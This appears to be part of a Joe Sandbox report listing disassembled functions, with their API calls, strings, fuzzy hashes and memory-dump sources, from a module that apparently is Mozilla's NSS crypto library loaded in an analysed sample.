Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction ID: 85b987fcfce732bd404d97219e18d5fa91ee99ced115377579d106a6781fb84d
Opcode Fuzzy Hash: 6c7e2f02e8570ce814a314284ab90945894fe80d8608731887db8dd2ac86fa3d
Instruction Fuzzy Hash: 0831A6F1E007016BEB209F65ED45A6776E4AF0274DB044438E84A87F41FB31E518CB9A

Function 6C675E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C675ECF
EnterCriticalSection.KERNEL32(?), ref: 6C675EE3
PR_Unlock.NSS3(?), ref: 6C675F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C675FB5

Strings

S&il, xrefs: 6C675E6C, 6C67627F, 6C675F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6761F4
S&il, xrefs: 6C6762E3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&il$S&il
API String ID: 2280678669-799787219
Opcode ID: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction ID: 72babd3dec1150e0d7e59fb28f89b766a4738306dc6d7f89be3ed7cd6f4321ee
Opcode Fuzzy Hash: a01734e54dcb5544aa6796c02f32b13131f1dec228462bff5f04959cac5bfc07
Instruction Fuzzy Hash: BCF106B5A00215CFDB54CF28C884B86BBF4FF09304F1586AAD9089B746E774DA85CFA5

Function 6C6C0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ll), ref: 6C6C0C81

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

Part of subcall function 6C698500: SECOID_GetAlgorithmTag_Util.NSS3(6C6995DC,00000000,00000000,00000000,?,6C6995DC,00000000,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C698517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0CC4

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6C0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6C0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6C0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6C0D7D
free.MOZGLUE(00000000), ref: 6C6C0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0DC1
free.MOZGLUE(00000000), ref: 6C6C0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6C0E0F

Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995E0
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C6995F5
Part of subcall function 6C6995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C699609
Part of subcall function 6C6995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C69961D
Part of subcall function 6C6995C0: PK11_GetInternalSlot.NSS3 ref: 6C69970B
Part of subcall function 6C6995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C699756
Part of subcall function 6C6995C0: PK11_GetIVLength.NSS3(?), ref: 6C699767
Part of subcall function 6C6995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C69977E
Part of subcall function 6C6995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C69978E

Strings

*,ll, xrefs: 6C6C0DCC
-$ll, xrefs: 6C6C0C64
*,ll, xrefs: 6C6C0C69, 6C6C0DE0, 6C6C0C80, 6C6C0C8B, 6C6C0CAF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ll$*,ll$-$ll
API String ID: 3136566230-2285576193
Opcode ID: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction ID: 989f0a31c556c2584ab16ee8ceb368326daa378d13eb2ffb1eeb58679e14f785
Opcode Fuzzy Hash: 8333f21d81759eb397c0448cc2312b2ba086d505cc51359efba5e5f6d111d463
Instruction Fuzzy Hash: C641C0F1A01246ABEB009F64AC45BEF7AB4EF0530CF104424E91967741E735BA18CBEB

Function 6C6B5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6B5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6B5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6B5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6B5EC0,00000000,?,?), ref: 6C6B5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6B5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6B5D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C6B5D1A
dbm:, xrefs: 6C6B5D03, 6C6B5D60
multiaccess:, xrefs: 6C6B5CB8
extern:, xrefs: 6C6B5CEA, 6C6B5D4B
sql:, xrefs: 6C6B5CD1, 6C6B5D36

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction ID: 4ff4066e98020141919391a073129acfe0af4377828fae0ad03100717c82ce2e
Opcode Fuzzy Hash: b27bc9e914a4eb71551638f57f32eb34a7953721c0e96f3deb399b311a6b594f
Instruction Fuzzy Hash: DA31F7A07413516BE7011A38EC49BEA37ECAF02349F144630EE55F6A82E772D521C39D

Function 6C6B6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C781DE0,?), ref: 6C6B6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6B6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6B6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6B6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6B6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6B6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6B6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6B6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6B7033
free.MOZGLUE(?), ref: 6C6B703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6B7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6B7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6B70AF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

